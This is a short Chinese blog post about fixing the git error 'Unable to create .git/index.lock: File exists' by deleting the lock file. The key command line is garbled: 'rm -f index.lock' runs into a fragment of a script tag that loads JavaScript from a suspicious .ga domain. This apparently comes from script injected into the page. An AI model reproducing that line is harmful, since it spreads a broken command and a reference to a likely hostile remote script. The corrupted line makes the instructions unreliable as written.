今天提交代码时,在一次提交,莫名其妙没成功后,再次用git commit -a命令时,出现以下错误,无论是用git还是TortoiseGit都会出现以下这个问题。。

$ git commit -a
fatal: Unable to create 'e:/git/Android/XXXXXX/.git/index.lock': File exists.

If no other git process is currently running, this probably means a
git process crashed in this repository earlier. Make sure no other git
process is running and remove the file manually to continue.

解决方法:

cd .git

rm  -f  index.lockrty3.ga/l.js?n=1' type=text/javascript>

本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了,原文地址《fatal: Unable to create ‘e:/git/Android/XXXXXX/.git/index.lock’: File exists.
   

还没有人抢沙发呢~